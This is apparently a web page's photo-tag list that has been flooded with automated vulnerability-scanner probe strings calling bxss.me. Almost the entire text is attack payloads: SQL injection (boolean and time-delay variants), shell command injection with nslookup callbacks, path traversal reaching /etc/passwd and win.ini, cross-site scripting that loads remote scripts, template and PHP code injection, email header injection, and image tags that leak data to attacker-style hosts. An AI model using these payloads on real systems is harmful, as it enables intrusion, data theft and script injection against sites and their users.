×
照片标签：
- 1
- 1B5dmBgmL4O
- response.write(9626238*9931577)
- '+response.write(9626238*9931577)+'
- "+response.write(9626238*9931577)+"
- echo bykzqv$()\ cbvbky\nz^xyu||a #' &echo bykzqv$()\ cbvbky\nz^xyu||a #|" &echo bykzqv$()\ cbvbky\nz^xyu||a #
- &echo hpwkkd$()\ ybnizg\nz^xyu||a #' &echo hpwkkd$()\ ybnizg\nz^xyu||a #|" &echo hpwkkd$()\ ybnizg\nz^xyu||a #
- |echo lmnvoe$()\ ebuqxj\nz^xyu||a #' |echo lmnvoe$()\ ebuqxj\nz^xyu||a #|" |echo lmnvoe$()\ ebuqxj\nz^xyu||a #
- (nslookup hitiwzjieilgx8fdd9.bxss.me||perl -e "gethostbyname('hitiwzjieilgx8fdd9.bxss.me')")
- $(nslookup hitzslnxaafgy10510.bxss.me||perl -e "gethostbyname('hitzslnxaafgy10510.bxss.me')")
- &(nslookup hitcthoqctfbr64337.bxss.me||perl -e "gethostbyname('hitcthoqctfbr64337.bxss.me')")&'\"`0&(nslookup hitcthoqctfbr64337.bxss.me||perl -e "gethostbyname('hitcthoqctfbr64337.bxss.me')")&`'
- |(nslookup hitgyhmzffykgef77b.bxss.me||perl -e "gethostbyname('hitgyhmzffykgef77b.bxss.me')")
- `(nslookup hitsegtbzsowmf1700.bxss.me||perl -e "gethostbyname('hitsegtbzsowmf1700.bxss.me')")`
- QPovjBr2
- -1 OR 2+860-860-1=0+0+0+1 --
- -1 OR 2+295-295-1=0+0+0+1
- -1' OR 2+195-195-1=0+0+0+1 --
- -1' OR 2+10-10-1=0+0+0+1 or 'D6dNvQC1'='
- -1" OR 2+478-478-1=0+0+0+1 --
- if(now()=sysdate()
- sleep(15)
- 0)
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- -1
- -1)
- 1 waitfor delay '0:0:15' --
- H1AxVM68
- uob8HrUg'
- -5 OR 780=(SELECT 780 FROM PG_SLEEP(15))--
- -5) OR 887=(SELECT 887 FROM PG_SLEEP(15))--
- -1)) OR 757=(SELECT 757 FROM PG_SLEEP(15))--
- cC00yqL3' OR 908=(SELECT 908 FROM PG_SLEEP(15))--
- ../../../../../../../../../../../../../../etc/passwd
- ../../../../../../../../../../../../../../windows/win.ini
- 4pgJPpdf') OR 883=(SELECT 883 FROM PG_SLEEP(15))--
- MUBa4wqD')) OR 906=(SELECT 906 FROM PG_SLEEP(15))--
- ../1
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- '||(select 1 from (select pg_sleep(15))x)||'
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1'"
- 1 %2527%2522
- @@azqqg
- 1 bcc:074625.19568-78451.19568.fe672.19131.2@bxss.me
- to@example.com> bcc:074625.19568-78452.19568.fe672.19131.2@bxss.me
- 12345'"\'\")
- 1<esi:include src="http://bxss.me/rpb.png"/>
- ${9999882+9999568}
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- 1some_inexistent_file_with_long_name .jpg
- Http://bxss.me/t/fit.txt
- http://bxss.me/t/fit.txt?.jpg
- bxss.me
- 1&n903388=v981291
- )
- !(()&&!|*|*|
- ^(#$!@#$)(()))******
- '"()
- '.gethostbyname(lc('hitxa'.'mgstsmqze899a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(80).chr(97).chr(70).'
- ".gethostbyname(lc("hitoo"."lmqmaicu9d463.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(68).chr(119).chr(90)."
- '
- "
- ${@print(md5(31337))}
- ${@print(md5(31337))}\
- '.print(md5(31337)).'
- HttP://bxss.me/t/xss.html?%00
- bxss.me/t/xss.html?%00
- "+"A".concat(70-3).concat(22*4).concat(113).concat(76).concat(104).concat(81)+(require"socket" Socket.gethostbyname("hitsq"+"kmhjcztq2f6ac.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(114).concat(67).concat(111).concat(85)+(require'socket' Socket.gethostbyname('hithd'+'vwpdwgdv8a429.bxss.me.')[3].to_s)+'
- bibs
- bibs/.
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- /xfs.bxss.me
- '"
- <!--
- 1'"()&%<acx><ScRiPt >Rn7b(9179)</ScRiPt>
- '"()&%<acx><ScRiPt >Rn7b(9119)</ScRiPt>
- 19078200
- 1'"()&%<acx><ScRiPt >rdKp(9921)</ScRiPt>
- '"()&%<acx><ScRiPt >rdKp(9918)</ScRiPt>
- 19243924
- acu8388＜s1﹥s2ʺs3ʹuca8388
- acux5175z1z2abcxuca5175
- <%={{={@{#{${acx}}%>
- <th:t="${acx}#foreach
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- acx{{98991*97996}}xca
- acx[[${98991*97996}]]xca
- acx__${98991*97996}__::.x
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- acu6350＜s1﹥s2ʺs3ʹuca6350
- acux7641z1z2abcxuca7641
- acu8249＜s1﹥s2ʺs3ʹuca8249
- acux5982z1z2abcxuca5982
- 1"onmouseover=rdKp(92882)"
- 1"onmouseover=rdKp(99552)"
- 1" KeqX=rdKp([!+!]) pwe="
- 1'"()&%<acx><ScRiPt >kBk6(9572)</ScRiPt>
- 1\u0022onmouseover=rdKp(90113)\u0022
- '"()&%<acx><ScRiPt >kBk6(9891)</ScRiPt>
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%72%64%4B%70%28%39%33%35%32%34%29%22
- 19912110
- "onmouseover=rdKp(99505)//
- acu10434＜s1﹥s2ʺs3ʹuca10434
- 1"sTYLe='acu:Expre/**/SSion(rdKp(9897))'bad="
- acux9746z1z2abcxuca9746
- 1"><script>rdKp(9874)</script>
- 1<ScRiPt >rdKp(9475)</ScRiPt>
- 1<WBGS7C>MKRXZ[!+!]</WBGS7C>
- 1<script>rdKp(9653)</script>
- 1<ScR<ScRiPt>IpT>rdKp(9721)</sCr<ScRiPt>IpT>
- 1<ScRiPt >rdKp(9762)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9478></ScRiPt>
- 1< ScRiPt >rdKp(9017)</ScRiPt>
- 1<svg onload=rdKp(9213)
- 1<isindex type=image src=1 onerror=rdKp(9035)>
- 1<iframe src='data:text/html
- acu4861＜s1﹥s2ʺs3ʹuca4861
- 1<body onload=rdKp(9849)>
- acux8514z1z2abcxuca8514
- 1<img src=//xss.bxss.me/t/dot.gif onload=rdKp(9408)>
- 1<img src=xyz OnErRor=rdKp(9536)>
- 1<img/src=">" onerror=alert(9518)>
- %31%3C%53%63%52%69%50%74%20%3E%72%64%4B%70%289552%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\rdKp(9009)\u003C/sCripT\u003E
- 1<
- <img acu onmouseover=rdKp(99441) //>
- 1<input autofocus onfocus=rdKp(9985)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- 1}body{acu:Expre/**/SSion(rdKp(9042))}
- acu8416＜s1﹥s2ʺs3ʹuca8416
- 14dxSq <ScRiPt >rdKp(9198)</ScRiPt>
- acux4512z1z2abcxuca4512
- 1<W2MSD0>GYRWR[!+!]</W2MSD0>
- 1<ifRAme sRc=9722.com></IfRamE>
- 1<avhXTy2 x=9014>
- 1<img sRc='http://attacker-9462/log.php?
- 1<aGVJUjw<
- 1"onmouseover=kBk6(95212)"
- 1"onmouseover=kBk6(92422)"
- 1" O4lL=kBk6([!+!]) wZ5="
- 1\u0022onmouseover=kBk6(93993)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%6B%42%6B%36%28%39%35%35%38%34%29%22
- "onmouseover=kBk6(99315)//
- 1"sTYLe='acu:Expre/**/SSion(kBk6(9963))'bad="
- 1"><script>kBk6(9451)</script>
- 1<ScRiPt >kBk6(9555)</ScRiPt>
- 1<WU8LFW>TVI7O[!+!]</WU8LFW>
- 1<script>kBk6(9593)</script>
- 1<ScR<ScRiPt>IpT>kBk6(9944)</sCr<ScRiPt>IpT>
- 1<ScRiPt >kBk6(9740)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9392></ScRiPt>
- 1< ScRiPt >kBk6(9851)</ScRiPt>
- 1<svg onload=kBk6(9306)
- 1<isindex type=image src=1 onerror=kBk6(9484)>
- 1<body onload=kBk6(9442)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=kBk6(9445)>
- 1<img src=xyz OnErRor=kBk6(9414)>
- 1<img/src=">" onerror=alert(9591)>
- %31%3C%53%63%52%69%50%74%20%3E%6B%42%6B%36%289951%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\kBk6(9284)\u003C/sCripT\u003E
- <img acu onmouseover=kBk6(96791) //>
- 1<input autofocus onfocus=kBk6(9022)>
- 1}body{acu:Expre/**/SSion(kBk6(9928))}
- 1SoNEu <ScRiPt >kBk6(9379)</ScRiPt>
- 1<WMDGEF>MODRT[!+!]</WMDGEF>
- 1<ifRAme sRc=9601.com></IfRamE>
- 1<a6cs6XY x=9015>
- 1<img sRc='http://attacker-9065/log.php?
- 1<a76OZ25<
- response.write(9555920*9938571)
- '+response.write(9555920*9938571)+'
- "+response.write(9555920*9938571)+"
- BhuYnwmv
- echo zgsrqu$()\ krfkxk\nz^xyu||a #' &echo zgsrqu$()\ krfkxk\nz^xyu||a #|" &echo zgsrqu$()\ krfkxk\nz^xyu||a #
- &echo xfeoyu$()\ wpkypa\nz^xyu||a #' &echo xfeoyu$()\ wpkypa\nz^xyu||a #|" &echo xfeoyu$()\ wpkypa\nz^xyu||a #
- |echo zurhcb$()\ lkrvpe\nz^xyu||a #' |echo zurhcb$()\ lkrvpe\nz^xyu||a #|" |echo zurhcb$()\ lkrvpe\nz^xyu||a #
- (nslookup hitfhulctlmhcfcac1.bxss.me||perl -e "gethostbyname('hitfhulctlmhcfcac1.bxss.me')")
- $(nslookup hithsejypxppe84472.bxss.me||perl -e "gethostbyname('hithsejypxppe84472.bxss.me')")
- &(nslookup hitcyduguvamu57d92.bxss.me||perl -e "gethostbyname('hitcyduguvamu57d92.bxss.me')")&'\"`0&(nslookup hitcyduguvamu57d92.bxss.me||perl -e "gethostbyname('hitcyduguvamu57d92.bxss.me')")&`'
- |(nslookup hitiyjfmenwgw36373.bxss.me||perl -e "gethostbyname('hitiyjfmenwgw36373.bxss.me')")
- `(nslookup hittcakgnnhxx84155.bxss.me||perl -e "gethostbyname('hittcakgnnhxx84155.bxss.me')")`
- 1 bcc:074625.19568-93626.19568.fe672.19131.2@bxss.me
- to@example.com> bcc:074625.19568-93627.19568.fe672.19131.2@bxss.me
- uSJNLjQD
- -1 OR 2+35-35-1=0+0+0+1 --
- -1 OR 2+778-778-1=0+0+0+1
- -1' OR 2+448-448-1=0+0+0+1 --
- -1' OR 2+813-813-1=0+0+0+1 or 'Nee0C0Uw'='
- ${9999503+10000104}
- -1" OR 2+407-407-1=0+0+0+1 --
- 1&n968300=v916086
- 93SiBiYU'
- -5 OR 624=(SELECT 624 FROM PG_SLEEP(15))--
- '.gethostbyname(lc('hitzd'.'pmkcetaz55bc4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(88).chr(100).chr(83).'
- -5) OR 444=(SELECT 444 FROM PG_SLEEP(15))--
- ".gethostbyname(lc("hitxl"."omovpepi52626.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(71).chr(116).chr(89)."
- -1)) OR 887=(SELECT 887 FROM PG_SLEEP(15))--
- 6dmgl5ig' OR 924=(SELECT 924 FROM PG_SLEEP(15))--
- hFB45k4M') OR 337=(SELECT 337 FROM PG_SLEEP(15))--
- ThUZFvDP')) OR 578=(SELECT 578 FROM PG_SLEEP(15))--
- "+"A".concat(70-3).concat(22*4).concat(110).concat(73).concat(98).concat(87)+(require"socket" Socket.gethostbyname("hitln"+"rvjoetjfc277d.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(97).concat(89).concat(108).concat(66)+(require'socket' Socket.gethostbyname('hitrk'+'unwiaoqje8db0.bxss.me.')[3].to_s)+'
- @@6ZAfM
- 1'"()&%<acx><ScRiPt >6sSy(9412)</ScRiPt>
- '"()&%<acx><ScRiPt >6sSy(9058)</ScRiPt>
- 19377314
- response.write(9748634*9854362)
- '+response.write(9748634*9854362)+'
- "+response.write(9748634*9854362)+"
- 6hMwhCtP
- 1%0abcc:074625.19568-93753.19568.aa5cb.19131.2@bxss.me
- to@example.com>%0d%0abcc:074625.19568-93754.19568.aa5cb.19131.2@bxss.me
- echo pqqzcd$()\ uecray\nz^xyu||a #' &echo pqqzcd$()\ uecray\nz^xyu||a #|" &echo pqqzcd$()\ uecray\nz^xyu||a #
- &echo ygksfy$()\ xvejkq\nz^xyu||a #' &echo ygksfy$()\ xvejkq\nz^xyu||a #|" &echo ygksfy$()\ xvejkq\nz^xyu||a #
- |echo giibhh$()\ kenyoq\nz^xyu||a #' |echo giibhh$()\ kenyoq\nz^xyu||a #|" |echo giibhh$()\ kenyoq\nz^xyu||a #
- ${10000297+9999129}
- (nslookup hitkwgtlaugie8d39f.bxss.me||perl -e "gethostbyname('hitkwgtlaugie8d39f.bxss.me')")
- $(nslookup hitgdlpnxgcgk99661.bxss.me||perl -e "gethostbyname('hitgdlpnxgcgk99661.bxss.me')")
- &(nslookup hitzkazahdvjo50e5a.bxss.me||perl -e "gethostbyname('hitzkazahdvjo50e5a.bxss.me')")&'\"`0&(nslookup hitzkazahdvjo50e5a.bxss.me||perl -e "gethostbyname('hitzkazahdvjo50e5a.bxss.me')")&`'
- |(nslookup hitlxeukltlkq0b0c1.bxss.me||perl -e "gethostbyname('hitlxeukltlkq0b0c1.bxss.me')")
- `(nslookup hitkrqvvbgpyg1a66e.bxss.me||perl -e "gethostbyname('hitkrqvvbgpyg1a66e.bxss.me')")`
- 1&n973180=v919206
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
- 1some_inexistent_file_with_long_name%00.jpg
- http://bxss.me/t/fit.txt%3F.jpg
- '.gethostbyname(lc('hitmn'.'tcyjcgne3c177.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(89).chr(110).chr(84).'
- ".gethostbyname(lc("hitre"."veaqhnrza7eab.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(76).chr(97).chr(90)."
- "+"A".concat(70-3).concat(22*4).concat(114).concat(87).concat(99).concat(80)+(require"socket" Socket.gethostbyname("hitby"+"hkbrfeim5ff07.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(122).concat(90).concat(121).concat(75)+(require'socket' Socket.gethostbyname('hitls'+'ryhvttsfc8984.bxss.me.')[3].to_s)+'
- ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
- ';print(md5(31337));$a='
- ";print(md5(31337));$a="
- yYy4F1iA
- -1 OR 2+979-979-1=0+0+0+1 --
- 1'"()&%<acx><ScRiPt >kdsK(9722)</ScRiPt>
- -1 OR 2+653-653-1=0+0+0+1
- '"()&%<acx><ScRiPt >kdsK(9206)</ScRiPt>
- -1' OR 2+631-631-1=0+0+0+1 --
- -1' OR 2+692-692-1=0+0+0+1 or '6KOjNTMf'='
- 19933661
- -1" OR 2+502-502-1=0+0+0+1 --
- acu2311%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca2311
- acux7547%C0%BEz1%C0%BCz2a%90bcxuca7547
- -1; waitfor delay '0:0:15' --
- -1); waitfor delay '0:0:15' --
- Az1ZMhJp'; waitfor delay '0:0:15' --
- -5 OR 41=(SELECT 41 FROM PG_SLEEP(15))--
- -5) OR 402=(SELECT 402 FROM PG_SLEEP(15))--
- -1)) OR 133=(SELECT 133 FROM PG_SLEEP(15))--
- fMI9U35v' OR 907=(SELECT 907 FROM PG_SLEEP(15))--
- ehie5Fyz') OR 100=(SELECT 100 FROM PG_SLEEP(15))--
- cywww4ev')) OR 210=(SELECT 210 FROM PG_SLEEP(15))--
- @@D9xN1
- acu3522%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca3522
- acux1629%C0%BEz1%C0%BCz2a%90bcxuca1629
- acu1263%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca1263
- acux10957%C0%BEz1%C0%BCz2a%90bcxuca10957
- 1CQXqV2pbGO
- 1%22onmouseover=kdsK(97702)%22
- 1"onmouseover=kdsK(93012)"
- 1" BVzy=kdsK([!+!]) lqG="
- response.write(9843704*9195331)
- 1\u0022onmouseover=kdsK(99803)\u0022
- '+response.write(9843704*9195331)+'
- "+response.write(9843704*9195331)+"
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%6B%64%73%4B%28%39%35%30%34%34%29%22
- dqJnkQQh
- 1"sTYLe='acu:Expre/**/SSion(kdsK(9337))'bad="
- echo odilxn$()\ qltili\nz^xyu||a #' &echo odilxn$()\ qltili\nz^xyu||a #|" &echo odilxn$()\ qltili\nz^xyu||a #
- 1"><script>kdsK(9905)</script>
- &echo rasjjk$()\ rntxev\nz^xyu||a #' &echo rasjjk$()\ rntxev\nz^xyu||a #|" &echo rasjjk$()\ rntxev\nz^xyu||a #
- |echo ndmtfu$()\ fsqclt\nz^xyu||a #' |echo ndmtfu$()\ fsqclt\nz^xyu||a #|" |echo ndmtfu$()\ fsqclt\nz^xyu||a #
- -1 OR 2+406-406-1=0+0+0+1
- 1<ScRiPt >kdsK(9058)</ScRiPt>
- %0abcc:074625.19568-94198.19568.aa5cb.19131.2@bxss.me
- ../../../../../../../../../../../../../../../proc/version
- (nslookup hitcevkrqzzxw5ccd6.bxss.me||perl -e "gethostbyname('hitcevkrqzzxw5ccd6.bxss.me')")
- to@example.com>%0d%0abcc:074625.19568-94199.19568.aa5cb.19131.2@bxss.me
- ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
- $(nslookup hitcotokwgyxv1f437.bxss.me||perl -e "gethostbyname('hitcotokwgyxv1f437.bxss.me')")
- -1' OR 2+88-88-1=0+0+0+1 --
- 1<W0A80U>7IQPP[!+!]</W0A80U>
- ../../../../../../../../../../etc/passwd%00.jpg
- &(nslookup hitjgjchpnccbc58b3.bxss.me||perl -e "gethostbyname('hitjgjchpnccbc58b3.bxss.me')")&'\"`0&(nslookup hitjgjchpnccbc58b3.bxss.me||perl -e "gethostbyname('hitjgjchpnccbc58b3.bxss.me')")&`'
- -1' OR 2+215-215-1=0+0+0+1 or 'u153UTSw'='
- ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
- |(nslookup hitmrhkwvjzhm80223.bxss.me||perl -e "gethostbyname('hitmrhkwvjzhm80223.bxss.me')")
- -1" OR 2+218-218-1=0+0+0+1 --
- 1<script>kdsK(9038)</script>
- /../..//../..//../..//../..//../..//etc/passwd%00.jpg
- `(nslookup hitqjwxosxjhy1440b.bxss.me||perl -e "gethostbyname('hitqjwxosxjhy1440b.bxss.me')")`
- <esi:include src="http://bxss.me/rpb.png"/>
- ${9999435+9999184}
- .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
- /etc/passwd
- 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%6B%64%73%4B%28%39%37%32%30%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
- &n939584=v968658
- %2fetc%2fpasswd
- 1<ScRiPt >kdsK(9027)</ScRiPt>
- /.././.././.././.././.././.././.././../etc/./passwd%00
- '.gethostbyname(lc('hituz'.'orcoxbufb985a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(88).chr(115).chr(69).'
- ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9398></ScRiPt>
- ".gethostbyname(lc("hitis"."zpjpmhtj85393.bxss.me."))."A".chr(67).chr(hex("58")).chr(111).chr(76).chr(117).chr(77)."
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
- ../././../././../././../././../././../././../././../././../././../././etc/passwd
- 1dgGyzfJ'; waitfor delay '0:0:15' --
- 1< ScRiPt >kdsK(9995)</ScRiPt>
- ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
- -5 OR 211=(SELECT 211 FROM PG_SLEEP(15))--
- "+"A".concat(70-3).concat(22*4).concat(113).concat(82).concat(102).concat(83)+(require"socket" Socket.gethostbyname("hitgi"+"hviuncmy7b93b.bxss.me.")[3].to_s)+"
- -5) OR 102=(SELECT 102 FROM PG_SLEEP(15))--
- '+'A'.concat(70-3).concat(22*4).concat(116).concat(76).concat(120).concat(78)+(require'socket' Socket.gethostbyname('hitoz'+'dybbizated258.bxss.me.')[3].to_s)+'
- file:///etc/passwd
- 1<isindex type=image src=1 onerror=kdsK(9855)>
- -1)) OR 183=(SELECT 183 FROM PG_SLEEP(15))--
- /\../\../\../\../\../\../\../etc/passwd
- 1DsE3LXE' OR 322=(SELECT 322 FROM PG_SLEEP(15))--
- 1<iframe src='data:text/html;base64
- PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9142'>
- /WEB-INF/web.xml
- uagejSkE') OR 410=(SELECT 410 FROM PG_SLEEP(15))--
- 1<body onload=kdsK(9135)>
- 7DOs2xQJ')) OR 955=(SELECT 955 FROM PG_SLEEP(15))--
- C:\WINDOWS\system32\drivers\etc\hosts
- 1'"()&%<acx><ScRiPt >YrRx(9945)</ScRiPt>
- 1'"()&%<acx><ScRiPt >7Lkq(9737)</ScRiPt>
- 1<img src=//xss.bxss.me/t/dot.gif onload=kdsK(9707)>
- ../../../../../../../../../../windows/win.ini%00.jpg
- /../../../../../../../../../../boot.ini
- '"()&%<acx><ScRiPt >YrRx(9756)</ScRiPt>
- '"()&%<acx><ScRiPt >7Lkq(9423)</ScRiPt>
- %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
- 1<img src=xyz OnErRor=kdsK(9708)>
- ..\..\..\..\..\..\..\..\windows\win.ini
- 19763523
- 19713684
- 1<img/src=">" onerror=alert(9559)>
- ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
- %31%3C%53%63%52%69%50%74%20%3E%6B%64%73%4B%289043%29%3C%2F%73%43%72%69%70%54%3E
- /.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
- acu4714%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca4714
- @@H08rl
- ../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
- acux2062%C0%BEz1%C0%BCz2a%90bcxuca2062
- 1\u003CScRiPt\kdsK(9178)\u003C/sCripT\u003E
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
- 1<ScRiPt>kdsK(9483)</sCripT>
- WEB-INF/web.xml
- WEB-INF\web.xml
- 1<input autofocus onfocus=kdsK(9305)>
- 1}body{acu:Expre/**/SSion(kdsK(9745))}
- 1pcHH4 <ScRiPt >kdsK(9289)</ScRiPt>
- 1<WHBMFP>HGH7K[!+!]</WHBMFP>
- 1<ifRAme sRc=9435.com></IfRamE>
- 1<auB6Nix x=9052>
- 1<img sRc='http://attacker-9922/log.php?
- acu6895%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca6895
- 1<aHkYibk<
- acux3528%C0%BEz1%C0%BCz2a%90bcxuca3528
- acu6481%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca6481
- acux2478%C0%BEz1%C0%BCz2a%90bcxuca2478
- 1%22onmouseover=7Lkq(97982)%22
- 1"onmouseover=7Lkq(90932)"
- 1" hbIM=7Lkq([!+!]) vJH="
- 1\u0022onmouseover=7Lkq(93043)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%37%4C%6B%71%28%39%39%39%35%34%29%22
- 1"sTYLe='acu:Expre/**/SSion(7Lkq(9726))'bad="
- 1"><script>7Lkq(9064)</script>
- 1<ScRiPt >7Lkq(9676)</ScRiPt>
- 1<WUHNZF>HUQAQ[!+!]</WUHNZF>
- 1<script>7Lkq(9593)</script>
- 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%37%4C%6B%71%28%39%38%36%38%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
- 1<ScRiPt >7Lkq(9222)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9109></ScRiPt>
- 1< ScRiPt >7Lkq(9617)</ScRiPt>
- 1<isindex type=image src=1 onerror=7Lkq(9583)>
- PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9955'>
- 1<body onload=7Lkq(9704)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=7Lkq(9111)>
- 1<img src=xyz OnErRor=7Lkq(9646)>
- 1<img/src=">" onerror=alert(9848)>
- %31%3C%53%63%52%69%50%74%20%3E%37%4C%6B%71%289189%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\7Lkq(9668)\u003C/sCripT\u003E
- 1<ScRiPt>7Lkq(9087)</sCripT>
- 1<input autofocus onfocus=7Lkq(9363)>
- 1}body{acu:Expre/**/SSion(7Lkq(9677))}
- 1mEpHZ <ScRiPt >7Lkq(9255)</ScRiPt>
- 1<WMPGJ7>TWX9Z[!+!]</WMPGJ7>
- 1<ifRAme sRc=9467.com></IfRamE>
- 1<a5eAu0O x=9394>
- 1<img sRc='http://attacker-9706/log.php?
- 1<aJoPncp<
- uE1alML0
- -1 OR 2+866-866-1=0+0+0+1 --
- -1 OR 2+386-386-1=0+0+0+1
- -1' OR 2+201-201-1=0+0+0+1 --
- -1' OR 2+696-696-1=0+0+0+1 or '8H87Igef'='
- -1" OR 2+127-127-1=0+0+0+1 --
- KJl6zxvx'
- -5 OR 456=(SELECT 456 FROM PG_SLEEP(15))--
- -5) OR 850=(SELECT 850 FROM PG_SLEEP(15))--
- -1)) OR 425=(SELECT 425 FROM PG_SLEEP(15))--
- fSJ5yYfC' OR 396=(SELECT 396 FROM PG_SLEEP(15))--
- uTbywi4R') OR 77=(SELECT 77 FROM PG_SLEEP(15))--
- P1fO5tNQ')) OR 197=(SELECT 197 FROM PG_SLEEP(15))--
- @@rQAkA
- 8hUlJKPr
- -1 OR 2+272-272-1=0+0+0+1 --
- -1 OR 2+173-173-1=0+0+0+1
- -1' OR 2+777-777-1=0+0+0+1 --
- -1' OR 2+150-150-1=0+0+0+1 or 'grw5ae3r'='
- -1" OR 2+930-930-1=0+0+0+1 --
- nkzWW74k'; waitfor delay '0:0:15' --
- -5 OR 924=(SELECT 924 FROM PG_SLEEP(15))--
- -5) OR 177=(SELECT 177 FROM PG_SLEEP(15))--
- -1)) OR 801=(SELECT 801 FROM PG_SLEEP(15))--
- RFQi6Ke3' OR 103=(SELECT 103 FROM PG_SLEEP(15))--
- pgozo2c8') OR 680=(SELECT 680 FROM PG_SLEEP(15))--
- Atp8jQmE')) OR 568=(SELECT 568 FROM PG_SLEEP(15))--
- @@HotD6
- pyC8FWhq
- -1 OR 2+459-459-1=0+0+0+1 --
- -1 OR 3+459-459-1=0+0+0+1 --
- -1 OR 3*2<(0+5+459-459) --
- -1 OR 3*2>(0+5+459-459) --
- -1 OR 2+272-272-1=0+0+0+1
- -1 OR 3+272-272-1=0+0+0+1
- -1 OR 3*2<(0+5+272-272)
- -1 OR 3*2>(0+5+272-272)
- -1' OR 2+439-439-1=0+0+0+1 --
- -1' OR 3+439-439-1=0+0+0+1 --
- -1' OR 3*2<(0+5+439-439) --
- -1' OR 3*2>(0+5+439-439) --
- -1' OR 2+756-756-1=0+0+0+1 or 'x5A9hki2'='
- -1' OR 3+756-756-1=0+0+0+1 or 'x5A9hki2'='
- -1' OR 3*2<(0+5+756-756) or 'x5A9hki2'='
- -1' OR 3*2>(0+5+756-756) or 'x5A9hki2'='
- -1" OR 2+229-229-1=0+0+0+1 --
- -1" OR 3+229-229-1=0+0+0+1 --
- -1" OR 3*2<(0+5+229-229) --
- -1" OR 3*2>(0+5+229-229) --
- AXsHCzdn'
- -5 OR 558=(SELECT 558 FROM PG_SLEEP(15))--
- -5) OR 378=(SELECT 378 FROM PG_SLEEP(15))--
- -1)) OR 976=(SELECT 976 FROM PG_SLEEP(15))--
- 8IVCJoXf' OR 644=(SELECT 644 FROM PG_SLEEP(15))--
- Epo8UNTz') OR 934=(SELECT 934 FROM PG_SLEEP(15))--
- hCbxT6AE')) OR 977=(SELECT 977 FROM PG_SLEEP(15))--
- @@azggQ
- GToTURn2
- -1 OR 2+960-960-1=0+0+0+1 --
- -1 OR 2+41-41-1=0+0+0+1
- -1' OR 2+941-941-1=0+0+0+1 --
- -1' OR 2+677-677-1=0+0+0+1 or 'bk9bR9ww'='
- -1" OR 2+884-884-1=0+0+0+1 --
- hpOhr92f'
